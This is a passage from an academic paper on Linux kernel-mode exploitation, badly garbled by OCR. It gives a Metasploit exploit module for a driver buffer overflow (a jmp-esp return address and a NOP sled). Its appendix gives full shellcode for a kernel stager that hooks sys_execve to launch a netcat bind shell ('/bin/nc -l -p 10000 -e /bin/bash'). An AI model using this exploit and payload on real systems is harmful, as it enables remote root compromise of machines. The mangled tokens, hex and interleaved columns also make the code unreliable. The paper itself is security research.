basically, by preparing a valid fake stack it may be possibleg;

to return from the exploited process using tted instruc- 69
tion. We plan to spend more research on this and other tech;;
niques in the future. 7
75
76
3.3.4 Stage 14
79

Once more, the stage itself is the easiest component. Sinc&
we are hooking theysexecvesystem call we can basically s
run any program on the target machine. Ultimately, how- g
ever, we want to be able to rely on all Linux user-mode &
payloads available in the Metasploit framework. For this, a g
separate kernel-mode wrapper for Linux will be neccessary.s:

Our current payload replaces the arguments to thes;
sysexecvesystem call, restores the original system call
hook (so that it will only be executed once), and calls the &
original system call (which will now execute the desired ap- s
plication).

The following payload, opens a remote shell with the
privileges of the user who issued the system call.

+ NOTE: regs.ecx is stored in a register right at

+ function enter, so we need to subtrace 0x100

* again (although the value on stack is already

* correct)

*/

/%

unsi gned char *c = (unsigned char)regs. ecx - 0x100;
p = (unsigned intx)c;
p[0] = (unsigned int)c + 40; // argv[O]
p[1] = (unsigned int)c + 48; // argv[1]
p[2] = (unsigned int)c + 51; // argv[2]
p[3] = (unsigned int)c + 54; // argv[3]
p[4] = (unsigned int)c + 60; // argv[4]
p[5] = (unsigned int)c + 63; // argv[5]
p[6] = (unsigned int)O0; /1 argv[6]... end of array nark
c += 40;

unsi gned char *from = 0xc3000008;
unsigned char *to = from+ 33;
while (from!= to)
{

*c = =from

frome+;

CH+;
}
*/

"\ x8d\ x81\ x28\ xf f\ xff\xff" Il lea oxffffff28(%cx), %eax
"\ x8d\ x91\ x00\ xf f\ xf f\xff" Il lea oxffffffoo(%cx), %edx
"\ x89\ x81\ x00\ xf f\ xff\xff" 11 mov Y%eax, Oxf fffff0O(%ecx)
"\ x8d\ x81\ x30\ xf f\ xff\xff" Il lea oxffffff30(%cx), %eax
"\ x89\ x42\ x04" 11 mov Y%eax, 0x4( Yedx)

"\ x8d\ x81\ x33\ xf f\ xff\xff" Il lea Oxffffff33(%cx), %eax
"\ x89\ x42\ x08" 11 mov %eax, 0x8( %edx)

"\ x8d\ x81\ x36\ xf f\ xff\xff" Il lea Oxffffff36(%cx), %eax
"\ x89\ x42\ x0c" 11 mov %eax, Oxc( %edx)

"\ x8d\ x81\ x3c\ xf f\xff\xff" Il lea Oxffffff3c(%cx), Y%eax
"\ x89\ x42\ x10" /1 mov Y%eax, 0x10( %edx)

"\ x8d\ x81\ x3f \ xf f\ xff\xff" Il lea oxffffff3f(%cx), %eax
"\ x89\ x42\ x14" Il mov Yeax, 0x14( %edx)

"\ xc7\ x42\ x18\ x00\ x00\ x00\ x00" // novl $0x0, 0x18( %edx)

"\ xba\ x08\ x00\ x00\ xc3" /1 mov $0xc3000008, Yedx

"\ x0f \ xb6\ x02" /1 movzbl (%dx), %eax

"\ x88\ x84\ x0a\ x20\ xf f\ xf f\ x3c" // nov %l , Ox3cf f f f 20( %edx, %ecx, 1)
"\ x83\ xc2\ x01" /1 add $0x1, Yedx

"\ x81\ xf a\ x29\ x00\ x00\ xc3" /1 cnp $0xc3000029, Y%edx

"\ x75\ xeb" Il jne 70 <bar +0x70>

[ xx

* Now junp to the real sys_execve
*/

"\ xb8\ x41\ x41\ x41\ x41" // nov
"\ x89\ xc2" /1 mov
"\ xff\xe2" Il jnp

AAAA, Ygax
Y%eax, Yedx
*Y%edx

<< address substituted!!

3.3.5 Putting it all together

Without much further ado, here is a Metasploit module that

require ' nsf/core’

nodul e Msf

class Exploits::Linux::Driver::VulnDriver_Linux < Msf::Exploit::Renpote
include Exploit::Renmote:: Tcp

def initialize(info = {})
super (updat e_i nfo(i nfo,

Nane = ...,

' Description’ = ...,

' Aut hor’ = ..,

' Li cense’ IVBF_LI CENSE,
* Version' P

* Ref erences’ o,
"Privileged "true",
'Platform "linux',

' Arch’ => ARCH_X86,

' Targets’ =

# Debi an (Kubuntu) Linux 2.6.17 LiveCD
' Debi an (Kubuntu) Linux 2.6.17 LiveCD,

# Not
"Ret’

really reliable, check before using this address!!
=> 0xc121154f # jnp esp (in kernel space)
}
1
1.

' Defaul t Target’ => 0
)

)

register_options( [ ],
end

sel f.cl ass)

def exploit
connect
sock. put (creat e_packet)

1 [ *x
2 * insert argv[0..6]... it will be copied from
N . .

i 5 this buffer during the stager Illustrates our exp|0|t

5 "/ bi n/ nc\ x00"

6 "-1\1x00" 1

7 "-p\ x00" 2

8 10000\ x00" 3

9 "- e\ x00" 4
10 "/ bi n/ bash\ x00" 5
11 6
12 [ 5% 7
13 * restore the system hook to sys_execve 8
14 */ 9
15 1% 10
16 unsigned int *p = (unsigned int+)sys_execve_backup; 11
17 unsigned int call = p[1]; 12
18 p = (unsigned int*)p[0]; 13
19 *p = call; 14
20 */ 15
21 "\ x8b\ x5\ XXX\ x XX\ XXX\ xXX" // nov <backup+4>, %edx 16
22 "\ xal\ x00\ x XX\ x XX\ x XX" 11 mov <backup>, %eax 17
23 "\ x8b\ x4c\ x24\ x08" 11 mov 0x8( %esp) , ¥ecx 18
24 "\ x89\ x10" 11 mov %edx, (%eax) 19
25 20
26 [ 5% 21
27 + nove filename and argv pointer sonewhere 22
28 +« different so we don't overwite anything 23
29 * else if the new structure i s bigger than 24
30 * the old one... 25
31 * 26
32 * use sone available (paged) user-node nenory 27
33 * in case the environment variables are stored 28
34 * close by, let's try to not overwite these by 29
35 + using an offset of 256 (assuming we are on 30
36 + stack, this nmight be a good value...) 31
37 */ 32
38 "\ x8b\ x44\ x24\ x08" 11 mov 0x8(%esp) , Yeax 33
39 "\ x2d\ x00\ x01\ x00\ x00" // sub $0x100, %eax 34
40 "\ x89\ x44\ x24\ x08" /'l mov Yeax, 0x8( Yesp) 35
41 "\ x83\xc0\x28" /1 add $0x28, Yeax 36
42 "\ x89\ x44\ x24\ x04" /'l mov Yeax, Ox4( Yesp) 37
43 38
44 [ 5% 39
45 * now construct the paramarrays at the chosen 40
46 * location. .. 41
a7 * 42

handl er



5 discomeet 5 References

44 end

45

46 def create_packet

47 # fill up the buffer

48 buf = rand_t ext (540) References

49

50 # V& need a good esp (somewhere read/witeable for kernel space) . ) .

51 # as we will crash right away!! [1] Daniel P. Bovet, and Marco Cesdtinderstanding the Linux

52 buf += [ Oxcf000000 ].pack('V ) # saved stack frame , .

53 Kernel 3rd ed., O'Reilly, Sebastopol, CA, 2005.

54 # Return address is a jnp ESP

55 buf += [ target.ret ].pack('V) # return address .

56 , , [2] bugcheck, and skape, "windows kernel-mode payload fun-

57 # add padding to overwite the paraneters to our vul nerable .

58 # function on the stack. damentals”, http://WWW.Unlnformed.Org/?VZS&a:4&t:tXt.

59 # NOTE: different than in windows, Iinux

60 # kernel functions often use registers to .

o # pass function argurents rather than the [3] Johnny Cache, H.D. More, and skape "exploiting
stack!! . . P .

63 buf += "\x90\ x90\ x90\ x90\ x90\ x30\ IO\ xIO\ X0\ X90" 802.11 wireless driver vulnerabilities on windows”,

64 . . .

65 # append payl oad http://uninformed.org/index.cgi?v=6&a=2&t=txt.

66 buf += payl oad. raw

67 . .

68 buf [4] Immunity CANVAS Professional

69 d .

0 end http://www.immunitysec.com/products-canvas.shtml

71 end
[5] Matt Conover,Malware Profiling and Rootkit Detection on
Windows

This exploit looks very similar to the Windows exploit http://xcon.xfocus.org/xcon2005/archives/2005/Xcon280ok. pdf.

presented in chaptef 2. The most glaring difference is that
it cannot be used with just any payload, because there is [6] Core Security Technologies’ Core Impact
no kernel-mode wrapper yet. For this reason, we added a http://http://www.coresecurity.com/

payload to the framework, that implements the exploit de- [7] Jonathan Corbet, Alessandro Rubini, and Greg Kroah-

scribed in this septlon (ie. the st.ager and ngexecve . Hartman; Linux Device Drivers 3rd ed., O'Reilly, Se-
stagg). We have included the entire Metasploit payload in bastopol, CA, 2005.
section A.
[8] eEye Digital Security,Remote Windows Kernel Exploita-
tion: Step into the Ring,thttp://www.eeye.com/ data/pub-
lish/whitepapers/research/OT20050205.FILE.pdf.

4 Conclusion [9] Sinan ’noir” Eren, "Smashing The Kernel Stack For
Fun And Profit”, http://www.phrack.org/archives/60/p60-
0x06.txt.

Kernel-mode exploits have begun to increasingly garner _ ) _

interest by security experts. Thanks to a lot of theoret- [10] Sylvester Keil, and Clemens Kolbitsch, "Stateful Fuzzing

ical groundwork, the Metasploit project now includes a of Wireless Device Drlvers in an Emulated Environment”,
. http://www.seclab.tuwien.ac.at.

framework for kernel-mode exploits, that encapsulate reg-

ular user-mode exploits. With this paper, we hope to have [11] David Maynor, "os x kernel-mode exploitation in a week-

demonstrated how effective and easy the process of writing end”, http://uninformed.org/?v=8&a=4&t=sumry.

Windows kernel-mode exploits has already become. While

there is also a considerable amount of documented experi

ence with kernel-mode exploits on Linux publicly availgble
automated support for exploits in Metasploitis notas farad [13] SecurityForest's Exploitation Framework

vanced. http://securityforest.com/wiki/index.php/Exploitatidframework

[12] The Metasploit Project
http://www.metasploit.com/

[14] sd, and devik, "Linux on-the-fly kernel patching without
LKM”, http://www.phrack.org/archives/58/p58-0x07.

[15] sgrakkyu, and twiz, "Attacking the Core: Kernel Exploiting
Acknowledgments Notes”

http://www.phrack.org/issues.html?issue=64&id=6#atrticle.
We would like to thank SEC Consult Unternehmensber-
atung GmbH and especially Bernhardilér for their ini-
tiative and support for this project. Furthermore, we dyeat
appreciated the valuable feedback and guidance of Engin
Kirda and Christopher Kruegel at the Technical University
Vienna.

[16] "The Microsoft Windows Kernel-Mode Driver Framework”
http://www.microsoft.com/whdc/driver/wdf/KMDF.mspx.
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Appendix

A Linux kernel-mode stager and

©OND UGS WN P

54
55

57
58
59

61
62

64
65

67
68
69

71
72

74
75
76
77
78
79
80
81
82

84
85

87
88
89
90
91
92

payload for Metasploit

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and conmercial restrictions. Please see the Metasploit

# Framework web site for nore information on licensing and terns of use.

# http://metaspl oit.cont projects/Framewor k/
##

require 'nsf/core’

nodul e Msf
nodul e Payl oads
nodul e Singles
nodul e Li nux

nodul e X86

H#it#

#

# Stager and payl oad

H# oo

#

# Makes a linux systemcall hook to

# a payl oad that executes

#

# Ibin/nc -1 -p 10000 -e /bin/bash

#

# instead of the next call to sys_execve.
# Afterwards the systemcall is restored
# to its original address.

#

H#itH
nodul e Li nux_stager _and_payl oad

include Msf::Payload::Single

def initialize(info = {})
super (updat e_i nf o(i nfo,

’ Name’ => 'Linux Kernel System Call Hook’,

' Versi on’ => '$Revision: 1 $',

' Description’ => 'Execute reverse shell in kernel node’,
' Aut hor”’ =>

'Syl vester Keil',
' d enmens Kol bitsch’

1.

' License’ => MBF_LI CENSE,
'Platformni =>"linux’,
T Arch’ => ARCH_X86

))

# Regi ster gemu/real -cpu option
regi ster_options(

OptString.new('CPU, [ false, "Real |[Enulated ... In an enul ated

environnment, dynanic syscall-table finding is not supported

], Msf::Payloads:: Singles::Linux::X86::Linux_stager_and_payl oad)
end

def generate
# execve replacenent that executes netcat
# and then restores the original sys_execve
execve_payl oad =
# "/ bin/ nc\ 0-1\0-p\0-e\ 0/ bin/ bash\ 0"
"\ x2f\ x62\ x69\ x6e\ x2f \ x6e\ x63\ x00" +
"\ x2d\ x6¢\ x00\ x2d\ x70\ x00\ x31\ x30" +
"\ x30\ x30\ x30\ x00\ x2d\ x65\ x00\ x2f "+
"\ x62\ x69\ x6e\ x2f \ x62\ x61\ x73\ x68" +
"\x00" +

# restore syscall hook

"\ x8b\ x15\ x04\ x00\ x00\ xc3\ xal" +
"\ x00\ x00\ x00\ xc3\ x8b\ x4c\ x24\ x08"
"\ x89\x10" +

+

# setup new argv

"\ x8b\ x44\ x24\ x08\ x2d\ x00" +

"\ x01\ x00\ x00\ x89\ x44\ x24\ x08\ x83" +
"\ xcO\ x28\ x89\ x44\ x24\ x04" +

# start... load-effective-address...
"\ x8d\ x81" +

"\ x28\ xf £\ xff\xff\x8d\ x91\ x00\ xff"
"\ xf A xfF\ x89\ x81\ x00\ xf f\xff\xff"
"\ x8d\ x81\ x30\ xf f\ xff\xff\x89\x42"
"\ x04\ x8d\ x81\ x33\ xf f\ xf f\xff\x89"
"\ x42\ x08\ x8d\ x81\ x36\ xf f\ xff\xff"
"\ x89\ x42\ x0c\ x8d\ x81\ x3c\ xf f\xff"
"\ xff\x89\ x42\ x10\ x8d\ x81\ x3f \ xf f"
"\ xf A xff\x89\ x42\ x14\ xc7\ x42\ x18"
"\ x00\ x00\ x00\ x00\ xba\ x08\ x00\ x00"
"\ xc3\ x0f \ xb6\ x02\ x88\ x84\ x0a\ x20"
"\ xff\xff\x3clx83\ xc2\ x01\ x81\ xfa"
"\ x29\ x00\ x00\ xc3\ x75\ xeb\ xb8\ x41"
"\ x41\ x41\ x41\ x89\ xc2\ xf f\ xe2"

R

11

120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198

# this stager places the payload at sone address
# and installs a sys_execve hook to the payload
#
# the second line is updated |ater, since the junp
# depends on the type of syscall-table |ookup (as
# the stager has different |engths then)
stager_part_1 =
"\ x83\ xec\ x34" + # sub $0x34, %esp
"\ xe9\ x41\ x41\ x41\ x41" # jnp 44c <stager +0x34d>

# static setup of sys_call hook & payload |ocation
static_table_l ookup =
"\ xc7\ x44\ x24\ x24\ xe0\ xa4\ x2e\ xc0" + # novl
"\ xc7\ x44\ x24\ x10\ x00\ x00\ x00\ xc3" # novl

$0xc02eade0, 0x24( %esp)
$0xc3000000, 0x10( %esp)

# dynami c setup of sys_call hook & payload |ocation
dynami c_t abl e_| ookup =
"\ x0f \ x01\ x4c\ x24\ x02" +

# sidtl  Ox2(%sp)

# find pos of int 0x33 (start address of payl oad)

"\ x0f \ xb7\ x00" +
"\ x0f \ xb7\ xc0" +

novzw  (%eax), %eax
nmovzw  %ax, Y%eax

"\ x8b\ x44\ x24\ x04" + # mov 0x4( %esp) , Y%eax
"\ x05\ x98\ x01\ x00\ x00" + # add $0x198, Yeax
"\ x89\ x44\ x24\ x28" + # nov Yeax, 0x28( %esp)
"\ x8b\ x44\ x24\ x28" + # nov 0x28(%esp) , Yeax
"\ xOf \ xb7\ x40\ x06" + # novzwl  0x6( %eax) , %eax
"\ x0f \ xb7\ xc0" + # novzw  Y%ax, Y%eax
"\ x89\ xc2" + # mov Y%eax, Yedx
"\ xcl\ xe2\ x10" + # shl $0x10, %edx
"\ x8b\ x44\ x24\ x28" + # nov 0x28(%esp) , Yeax
#
#
"\ x09\ xd0" + # or Yedx, Yeax
"\ x89\ x44\ x24\ x10" + # nov Y%ax, 0x10( %esp)
# find pos of int 0x80 (install hook)
"\ x8b\ x44\ x24\ x04" + nov 0x4( %esp) , %eax

"\ x05\ x00\ x04\ x00\ x00" +

"\ x89\ x44\ x24\ x28" +

"\ x8b\ x44\ x24\ x28" +

"\ x0f \ xb7\ x40\ x06" +

"\ x0f \ xb7\ xc0" +

"\ x89\ xc2" +

"\xcl\ xe2\ x10" +

"\ x8b\ x44\ x24\ x28" +

"\ x0f\ xb7\ x00" +

"\ x0f \ xb7\ xc0" +

"\ x09\ xd0" +

"\ x89\ x44\ x24\ x2c" +

"\ xc7\ x44\ x24\ x24\ x00\ x00\ x00\ x00" +
"\ x8b\ x44\ x24\ x2c" +

"\ x89\ x44\ x24\ x30" +

"\ xc7\ x44\ x24\ x14\ x00\ x00\ x00\ x00" +
"\ xeb\ x29" +

"\ x83\ x44\ x24\ x30\ x01" +

"\ x8b\ x44\ x24\ x30" +

"\ x8b\ x00" +

"\ xc1\ xe0\ x08" +

"\ x3d\ x00\ xf f\ x14\ x85" +

"\ x75\x0f "+

"\ x8b\ x44\ x24\ x30" +

"\ x83\ xc0\ x03" +

"\ x8b\ x00" +

"\ x89\ x44\ x24\ x24" +

"\ xeb\ x0c" +

"\ x83\ x44\ x24\ x14\ x01" +

"\ x83\ x7c\ x24\ x14\ x63"

add $0x400, %eax

nov Y%eax, 0x28( Yesp)
nov 0x28( %esp) , Yeax
novzw  0x6( %eax) , Yeax
nmovzw  %ax, Y%eax

nmov Yeax, Yedx

shl $0x10, %edx

nov 0x28( %esp) , Yeax
nmovzw  (%ax), %eax
movzw  %&x, %eax

or Yedx, Yeax

nov Yeax, 0x2c( %esp)
movl| $0x0, 0x24( %esp)
nov 0x2c(%esp) , Yeax
nov %eax, 0x30( ¥esp)
movl| $0x0, 0x14( %esp)
jmp 17c <stager +Ox7d>
addl  $0x1, 0x30( %esp)
nov 0x30( %esp) , Yeax
nov (%eax) , Yeax

shi $0x8, %eax

cnmp $0x8514f f 00, Yeax
jne 177 <stager +0x78>
nov 0x30( %esp) , Yeax
add $0x3, Y%eax

nov (%ax), %eax

nov %eax, 0x24( Yesp)
jmp 183 <stager +0x84>
addl  $0x1, Ox14( %esp)
cnpl $0x63, 0x14( %esp)

+
FHERFRFF AR RHFE RS REREEEEEE R RR

"\ x76\ xd0" + j be 153 <stager +0x54>
"\ x83\ x7¢c\ x24\ x24\ x00" + cnpl $0x0, 0x24( %esp)

"\ x75\x07" + jne 191 <stager +0x92>
"\ xb8\ x11\ x00\ x00\ x00" + nmov $0x11, %eax

"\ xff\xe0" jmp *Ygax

# this part copies the payl od sonewhere
stager_part_2 =

"\ x8b\ x44\ x24\ x24" +

"\ x83\ xc0\ x2¢" +

nov  \ xOx24(%sp), Yeax
add $0x2¢c, Yeax

"\ x89\ xc2" + nov Yeax, Yedx
"\ x8b\ x44\ x24\ x10" + nov  \ xOx10( %esp), %eax
"\ x89\ x10" + nov Yedx, (Yeax)

"\ x8b\ x54\ x24\ x10" +

"\ x83\ xc2\ x04" +

"\ x8b\ x44\ x24\ x24" +

"\ x83\ xcO\ x2¢" +

"\ x8b\ x00" +

"\ x89\x02" +

"\ x8b\ x44\ x24\ x10" +

"\ x83\ xc0\ x08" +

"\ x89\ x44\ x24\ x18" +

"\ xc7\ x44\ x24\ x14\ x00\ x00\ x00\ x00" +
"\ xeb\xlc" +

"\ x8b\ x44\ x24\ x14" +

"\ x89\ xc2" +

"\ x03\ x54\ x24\ x18" +

"\ x8b\ x44\ x24\ x14" +

"\ x03\ x44\ x24\ x20" +

"\ x0f \ xb6\ x00" +

"\ x88\ x02" +

"\ x83\ x44\ x24\ x14\ x01" +
"\ x81\ x7c\ x24\ x14\ xaf \ x00\ x00\ x00" +
"\ x76\ xda" +

"\ x8b\ x44\ x24\ x10" +

"\ x83\ xc0\ x04" +

"\ x89\ x44\ x24\ x1c" +

nov  \ xOx10( %esp) , %edx
add $0x4, %edx

nov \ xOx24( %esp) , Yeax
add $0x2c, %eax

nov (%eax) , Yeax

nmov Y%eax, (%edx)

nov \ xOx10( %esp) , Yeax
add $0x8, Yeax

nov Yeax, 0x18( %esp)
novl $0x0, 0x14( %esp)
jmp  \x219 <stager+0Ox1la>
nov  \ xOx14(%esp) , Y%eax
mv Y%eax, Yedx

add \ xOx18( %esp) , %edx
nov \ xOx14( %esp) , Yeax
add \ xOx20( %esp) , Yeax
nmovzbl (%ax), Y%eax

nov val , (Yedx)

addl $0x1, 0x14( %esp)
cnpl $0xaf , 0x14( Yesp)
jbe \xi1fd <stager +Oxfe>
nov  \ xOx10( %esp) , %eax
add $0x4, %eax

nov Y%eax, Ox1lc(%esp)
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199 "\ x8b\ x54\ x24\ x18" + # nov \ x0x18( %esp) , ¥edx 305 "\ x81\ xc2\ xa0\ x00\ x00\ x00" # add $0xa0, %edx

200 "\ x81\ xc2\ xa7\ x00\ x00\ x00" # add $0xa7, Yedx 306 "\ x8b\ x44\ x24\ x1c" + # nov \ xOx1c(%esp) , Y%eax
201 "\ x8b\ x44\ x24\ x1c" + # nov \ x0Ox1lc(%esp) , %eax 307 "\ x0f \ xb6\ x00" + # nmovzbl (%ax), Y%eax

202 "\ x0f \ xb6\ x00" + # novzbl (%ax), Yeax 308 "\ x88\x02" + # nov Yal , (%edx)

203 "\ x88\x02" + # nov Y%l , (Yedx) 309 "\ x8b\ x54\ x24\ x18" + # nov \ xOx18(%esp), %edx
204 "\ x8b\ x54\ x24\ x18" + # nov  \ xOx18(%esp), %edx 310 "\ x81\ xc2\ xal\ x00\ x00\ x00" # add $0xal, %edx

205 "\ x81\ xc2\ xa8\ x00\ x00\ x00" # add $0xa8, Y%edx 311 "\ x8b\ x44\ x24\ x1c" + # nmov  \xOxlc(%esp), %eax
206 "\ x8b\ x44\ x24\ x1c" + # nmov  \xOxlc(%esp), %eax 312 "\ x83\xcO\ x01" + # add $0x1, %eax

207 "\ x83\ xc0\ x01" + # add $0x1, Y%eax 313 "\ x0f \ xb6\ x00" + # novzbl (%ax), Y%eax

208 "\ x0f \ xb6\ x00" + # novzbl (%ax), Yeax 314 "\ x88\ x02" + # nov Yal , (Yedx)

209 "\ x88\ x02" + # nov Yal , (Yedx) 315 "\ x8b\ x54\ x24\ x18" + # nov \ x0x18( %esp) , Y%edx
210 "\ x8b\ x54\ x24\ x18" + # nov \ x0x18( %esp) , ¥edx 316 "\ x81\ xc2\ xa2\ x00\ x00\ x00" # add $0xa2, %edx

211 "\ x81\ xc2\ xa9\ x00\ x00\ x00" # add $0xa9, Yedx 317 "\ x8b\ x44\ x24\ x1c" + # nov \ x0Ox1lc(%esp) , Y%eax
212 "\ x8b\ x44\ x24\ x1c" + # nmov \ x0Ox1c(%esp) , Y%eax 318 "\ x83\xc0\ x02" + # add $0x2, Yeax

213 "\ x83\ xcO\ x02" + # add $0x2, %eax 319 "\ x0f \ xb6\ x00" + # novzbl (%ax), Yeax

214 "\ x0f \ xb6\ x00" + # novzbl (%ax), Y%eax 320 "\ x88\ x02" + # nov Yal , (%edx)

215 "\ x88\x02" + # nov Y%l , (Yedx) 321 "\ x8b\ x54\ x24\ x18" + # nmov  \ xOx18(%esp), %edx
216 "\ x8b\ x54\ x24\ x18" + # nov  \ xOx18(%esp), %edx 322 "\ x81\ xc2\ xa3\ x00\ x00\ x00" # add $0xa3, %edx

217 "\ x81\ xc2\ xaa\ x00\ x00\ x00" # add $0xaa, Yedx 323 "\ x8b\ x44\ x24\ x1c" + # nov \xOxlc(%esp), Y%eax
218 "\ x8b\ x44\ x24\ x1c" + # nov \ xOx1lc(%esp), Yeax 324 "\ x83\ xc0\ x03" + # add $0x3, Yeax

219 "\ x83\ xc0\ x03" + # add $0x3, %eax 325 "\ x0f \ xb6\ x00" + # novzbl (%ax), Y%eax

220 "\ x0f \ xb6\ x00" + # novzbl (%ax), Yeax 326 "\ x88\ x02" + # nov Yal , (Yedx)

221 "\ x88\ x02" + # nov Y%al , (Yedx) 327 "\ x8b\ x44\ x24\ x08" + # nov \ x0x8( %esp) , Yeax
222 "\ x8b\ x44\ x24\ x10" + # nmov \ x0x10( %esp) , %eax 328 "\ x05\ xb6\ x00\ x00\ x00" + # add $0xb6, Yeax

223 "\ x89\ x44\ x24\ x08" + # nov Yeax, 0x8( %esp) 329 "\ xf 7\ xd0o" + # not Yeax

224 "\ x8d\ x44\ x24\ x08" + # lea  \xOx8(%esp), Yeax 330 "\ x89\ x44\ x24\ x08" + # nov Y%eax, Ox8( Yesp)
225 "\ x89\ x44\ x24\ x1c" + # nov Yeax, Ox1c( %esp) 331 "\ x8b\ x54\ x24\ x18" + # nov  \ xOx18(%esp), %edx
226 "\ x8b\ x54\ x24\ x18" + # nov \ x0x18( %esp) , Yedx 332 "\ x81\ xc2\ x97\ x00\ x00\ x00" # add $0x97, Yedx

227 "\ x83\ xc2\ x28" + # add $0x28, Yedx 333 "\ x8b\ x44\ x24\ x1c" + # nmov  \xOxlc(%esp), %eax
228 "\ x8b\ x44\ x24\ x1c" + # nov \ xOx1lc(%esp), Yeax 334 "\ x0f \ xb6\ x00" + # novzbl (%ax), Y%eax

229 "\ x0f \ xb6\ x00" + # novzbl (%ax), Yeax 335 "\ x88\ x02" + # nov Yal , (Yedx)

230 "\ x88\ x02" + # nov Yal , (Yedx) 336 "\ x8b\ x54\ x24\ x18" + # nov \ x0x18( %esp) , Y%edx
231 "\ x8b\ x54\ x24\ x18" + # nov \ x0x18( %esp) , ¥edx 337 "\ x81\ xc2\ x98\ x00\ x00\ x00" # add $0x98, %edx

232 "\ x83\ xc2\ x29" + # add $0x29, Yedx 338 "\ x8b\ x44\ x24\ x1c" + # nov \ xOx1lc(%esp) , %eax
233 "\ x8b\ x44\ x24\ x1c" + # nmov \ x0Ox1lc(%esp) , %eax 339 "\ x83\xc0\ x01" + # add $0x1, Y%eax

234 "\ x83\ xcO\ x01" + # add $0x1, %eax 340 "\ x0f \ xb6\ x00" + # novzbl (%ax), Y%eax

235 "\ x0f \ xb6\ x00" + # novzbl (%ax), Yeax 341 "\ x88\x02" + # nov Yal , (%edx)

236 "\ x88\x02" + # nov Y%l , (Yedx) 342 "\ x8b\ x54\ x24\ x18" + # nov  \ xOx18(%esp), %edx
237 "\ x8b\ x54\ x24\ x18" + # nov  \ xOx18(%esp), %edx 343 "\ x81\ xc2\ x99\ x00\ x00\ x00" # add $0x99, %edx

238 "\ x83\xc2\ x2a" + # add $0x2a, Yedx 344 "\ x8b\ x44\ x24\ x1c" + # nmov \xOxlc(%esp), Y%eax
239 "\ x8b\ x44\ x24\ x1c" + # nov \ xOx1lc(%esp), Yeax 345 "\ x83\ xc0\ x02" + # add $0x2, Yeax

240 "\ x83\ xc0\ x02" + # add $0x2, Y%eax 346 "\ x0f \ xb6\ x00" + # novzbl (%ax), Y%eax

241 "\ x0f \ xb6\ x00" + # novzbl (%ax), Yeax 347 "\ x88\ x02" + # nov Yal , (Yedx)

242 "\ x88\ x02" + # nov Yal , (Yedx) 348 "\ x8b\ x54\ x24\ x18" + # nov \ x0x18( %esp) , %edx
243 "\ x8b\ x54\ x24\ x18" + # nov \ xOx18( %esp) , Yedx 349 "\ x81\ xc2\ x9a\ x00\ x00\ x00" # add $0x9a, %edx

244 "\ x83\xc2\ x2b" + # add $0x2b, %edx 350 "\ x8b\ x44\ x24\ x1c" + # nov \ x0x1lc(%esp) , %eax
245 "\ x8b\ x44\ x24\ x1c" + # nov  \xOxlc(%esp), %eax 351 "\ x83\ xcO\ x03" + # add $0x3, %eax

246 "\ x83\ xcO\ x03" + # add $0x3, Y%eax 352 "\ xOf \ xb6\ x00" + # novzbl (%ax), Y%eax

247 "\ x0f \ xb6\ x00" + # novzbl (%ax), Y%eax 353 "\ x88\ x02" + # nov Yval , (Yedx)

248 "\ x88\x02" + # nov Y%l , (Yedx) 354

249 "\ x8b\ x44\ x24\ x08" + # nov  \ xOx8(%esp), Yeax 355 # install hook

250 "\ x83\ xcO\ x04" + # add $0x4, Yeax 356 "\ x8b\ x44\ x24\ x10" + # nov \ x0x10( %esp) , Yeax
251 "\ x89\ x44\ x24\ x08" + # nov Yeax, 0x8( %esp) 357 "\ x8b\ x00" + # nov (%ax) , Yeax

252 "\ x8b\ x54\ x24\ x18" + # nov \ x0x18( %esp) , Yedx 358 "\ x89\ x44\ x24\ x0c" + # nov Yeax, Oxc(%esp)
253 "\ x83\ xc2\ x23" + # add $0x23, %edx 359 "\ x8b\ x44\ x24\ x10" + # nov \ x0x10( %esp) , %eax
254 "\ x8b\ x44\ x24\ x1c" + # nov \ x0Ox1lc(%esp) , %eax 360 "\ x8d\ x50\ x29" + # lea \x0x29(%ax), %edx
255 "\ x0f \ xb6\ x00" + # nmovzbl (%ax), Yeax 361 "\ x8b\ x44\ x24\ x0c" + # nov \ x0Oxc(%esp) , Yeax
256 "\ x88\x02" + # nov Y%al , (Yedx) 362 "\ x89\ x10" # nov %edx, (%eax)

257 "\ x8b\ x54\ x24\ x18" + # nov  \ xOx18(%esp), %edx 363

258 "\ x83\ xc2\ x24" + # add $0x24, Yedx 364

259 "\ x8b\ x44\ x24\ x1c" + # mov  \xOxlc(%esp), %eax 365 stager_part_3 =

260 "\ x83\ xc0\ x01" + # add $0x1, Y%eax 366 "\ xe8\ x00\ x00\ x00\ x00" + # call 451 <stager _mark>
261 "\ x0f \ xb6\ x00" + # novzbl (%ax), Yeax 367 # mark

262 "\ x88\ x02" + # nov Y%al , (Yedx) 368 "\ x58" + # pop Yeax

263 "\ x8b\ x54\ x24\ x18" + # nov \ x0x18( %esp) , Yedx 369 "\ x89\ xc2" + # mov Y%eax, Yedx

264 "\ x83\ xc2\ x25" + # add $0x25, %edx 370 "\ x89\ x54\ x24\ x20" + # mov %edx, 0x20( Yesp)
265 "\ x8b\ x44\ x24\ x1c" + # nmov \ x0Ox1lc(%esp) , Y%eax 371 "\ x83\ x44\ x24\ x20\ x11" + # addl $0x11, 0x20( %esp)
266 "\ x83\ xcO\ x02" + # add $0x2, Yeax 372 "\ xe9\ xa5\ xfc\ xf f\xff" # jnp 107 <stager +0x8>
267 "\ x0f \ xb6\ x00" + # novzbl (%ax), Yeax 373

268 "\ x88\x02" + # nov Y%l , (Yedx) 374 recovery =

269 "\ x8b\ x54\ x24\ x18" + # nov  \ xOx18(%esp), %edx 375 "\ xb8\ x12\ x00\ x00\ x00" + # mov $0x12, %eax

270 "\ x83\ xc2\ x26" + # add $0x26, Yedx 376 "\ xff\xe0" # jnp *Ygax

271 "\ x8b\ x44\ x24\ x1c" + # nov \ xOx1lc(%esp), Yeax 377

272 "\ x83\ xc0\ x03" + # add $0x3, Yeax 378 payl oad = stager_part_1

273 "\ x0f \ xb6\ x00" + # novzbl (%ax), Yeax 379

274 "\ x88\ x02" + # nov Y%al , (vedx) 380 if ((datastore[’' CPU ].to_s.downcase <=> "real") == 0)

275 "\ x8b\ x44\ x24\ x08" + # nov \ x0x8( %esp) , Yeax 381 payl oad += dynami c_t abl e_| ookup

276 "\ x83\ xcO\ x04" + # add  $0x4, %eax 382 elsif ((datastore[’ CPU].to_s.downcase <=> "enul ated") == 0)

